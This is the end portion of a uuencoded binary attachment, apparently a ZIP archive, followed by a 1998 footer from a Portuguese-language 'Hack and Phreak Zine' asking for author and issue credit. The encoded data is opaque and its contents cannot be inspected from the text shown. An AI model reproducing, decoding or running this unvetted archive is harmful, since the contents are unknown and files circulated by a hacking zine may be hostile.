M,RC!-Y.)@*L9N*6+:]O'CFA`5WT3#\#3B!O^+Q>#XI],O&NHWL[KAQ@@I3XP
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
M"`"G@EP4T]>=MF0)``!P$0``"@```````````"``````````2D%-3452+D58
M15!+`0(4`!0````(``:)/ABS2K+*F(```#6#```+````````````(````(P)
C``!264-(13DR+D-/35!+!08``````@`"`'$```!-B@``````
`
end

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

   1998, Fevereiro. Hack and Phreak Zine, QUALQUER copia de QUALQUER materia
   deste documento, deve constar as seguintes linhas:

   (nomedoautor)
   HackPHR Zine n. xx
   http://www.hackphr.home.ml.org

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=|FiM dO dOCuMeNtO|=-=-=-=-=-=-=-=-=-=-=-=-=-=-
